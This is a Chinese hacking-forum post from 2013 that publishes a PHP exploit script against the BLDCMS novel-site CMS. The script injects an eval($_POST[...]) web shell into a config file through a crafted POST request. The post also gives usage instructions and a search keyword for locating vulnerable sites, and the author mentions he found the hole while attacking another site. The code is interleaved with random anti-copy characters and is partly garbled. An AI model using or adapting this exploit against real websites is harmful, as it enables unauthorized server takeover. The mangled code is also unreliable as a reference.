找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2421|回复: 0
打印 上一主题 下一主题

BLDCMS(白老大小说) Getshell 0day EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-26 20:49:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞
- V  C- C6 }, A$ v: s- W+ G& A5 p
6 _3 T' s6 f: E+ _# o
, X6 q" l; X6 r# h' \5 G# g话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了
& q1 I, s' X$ G' o6 E( P 8 p( s. b! f9 g4 `
既然都有人发了 我就把我之前写好的EXP放出来吧
7 v/ l( Z' g" z1 B$ [
% t1 Y7 Z" `3 D0 Nview source print?01.php;">/ R2 @6 ?& v$ L, P; j7 L9 }: R
02.<!--?php
: z/ j) s7 p, k; \6 D- e03.echo "-------------------------------------------------------------------0 `4 b; E$ x6 Y+ B
04.
/ r$ [* {4 a) n2 J7 V' O8 r1 E05.------------\r\n              BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
& J2 O5 e4 X7 Q" S( N& V06. 7 y6 W9 G+ G+ Y
07.(GPC=Off)\r\n            Vulnerability discovery&Code by 数据流@wooyun$ m% t- ?, A3 o- Z$ o' ^  F
08. ( h3 f6 S$ M+ [. x* R% b7 Z
09.QQ:981009941\r\n                                2013.3.21\r\n            
* U0 l0 P7 g$ g- h8 L7 q# V10. / O& z1 T" w. D1 D( p
11. 9 G  I4 s7 f$ D& Z+ O% C. A
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码, x% J7 n/ |* V
13. " n& V0 j! a2 p) M
14.)\r\n                    搜索关键字:\"开发者: 白老大小说\"\r\n-----------
0 ~/ a6 \, I* k, o$ K15.
- _$ j' P) M# \9 ?8 N' _4 e16.--------------------------------------------------------------------\r\n";# [$ P3 u3 G/ S$ {5 o! Y1 S- b
17.$url=$argv[1];6 o; T* w, W; s+ @4 G* n
18.$dir=$argv[2];
! b* O. U9 a. A9 |( C19.$pass=$argv[3];
% ]' N! R% n# I: V6 y0 T20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';2 t0 P4 z) C/ Y; Y/ r9 T
21.if (emptyempty($pass)||emptyempty($url))- ?: q* X2 T$ B/ R  j0 f- C
22.{exit("请输入参数");}
7 F: e7 e% s* d; E23.else
# e6 l! U; |) b: i24.{# V6 K0 r0 c8 v3 c2 m7 d
25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
: q* v( c" q) Z, v) H% ]26.
: j( E% {8 |  M2 ~' s6 m3 D7 M7 M27.al;
! k- G7 L0 J3 y. l! s28.$length = strlen($fuckdata);2 _, B) Q- W2 y" x2 U
29.function getshell($url,$pass)
" R/ Q8 z; n4 t8 i30.{( T, O( A% y+ N" f; k& O- }
31.global $url,$dir,$pass,$eval,$length,$fuckdata;
. b6 S6 }$ Q% S8 f  G0 Q32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";. X$ F5 t7 a: g- ]9 {: Q; T. [& @
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
+ E* m! D9 r) W- j0 z3 x( Z34.$header .= "User-Agent: MSIE\r\n";
9 F, o# g4 n8 M8 h0 U35.$header .= "Host:".$url."\r\n";
) v: Z0 B8 W9 y7 ]/ D36.$header .= "Content-Length: ".$length."\r\n";5 p* g% J2 i6 `% G8 j5 R
37.$header .= "Connection: Close\r\n";
7 [0 ]7 M( W* M/ L0 ^! m8 z38.$header .="\r\n";
+ f$ z8 N7 ~# y" z' _4 f; h* n39.$header .= $fuckdata."\r\n\r\n";4 K* O4 n+ i( i: d! }
40.$fp = fsockopen($url, 80,$errno,$errstr,15);
8 O& T5 V+ o, M: v, F41.if (!$fp)0 [2 L3 i' J# i
42.{- g/ f* A) ]. S
43.exit ("利用失败:请检查指定目标是否能正常打开");' \7 P  ?* Q; z! |& {
44.}; X% S( y; Y' ~9 |! K) O
45.else{ if (!fputs($fp,$header))
" ~, Y( E; W$ s  B& m& Z9 f  A46.{exit ("利用失败");}
  c5 }0 l, ]) P# c1 ?+ O. I7 o47.else' Z) w2 i! _2 Y" Q
48.{* g: s& J0 H5 @- l% B2 c# b5 l
49.$receive = '';
" q8 [' _: D1 r3 X3 q50.while (!feof($fp)) {0 P! C! z& y, b9 w3 E8 m( }
51.$receive .= @fgets($fp, 1000);
( I2 h$ B6 B4 r8 S  ~5 ?9 ]52.}
+ @' Y/ ?3 u8 U% M' E6 ]53.@fclose($fp);3 G+ q( L. y6 [# {6 g) A" A. \
54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标3 `, L5 f$ h. t9 _) o( R( @
55. 5 d4 c$ \+ I% z/ R3 S. [  v' ?6 o
56.GPC是否=off)";
$ ^7 S: \  D! a& m57.}}
! D* C2 ~+ ^3 m$ e58.}
5 [3 i& h+ V& T/ b) y3 Z" X) U59.}
- Y( D" ~3 C: t- W2 p1 `% o60.getshell($url,$pass);
# _; ]6 L, _+ }, s3 v. @9 w; _61.?-->- ?% P; y) ^/ C* `

5 C' y8 K8 u3 r) ~6 _& |- p" k* B$ I0 T  f1 K0 A

5 [( A7 {5 }% a' P6 Q& d! b& mby 数据流3 e4 C" C6 j  `
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表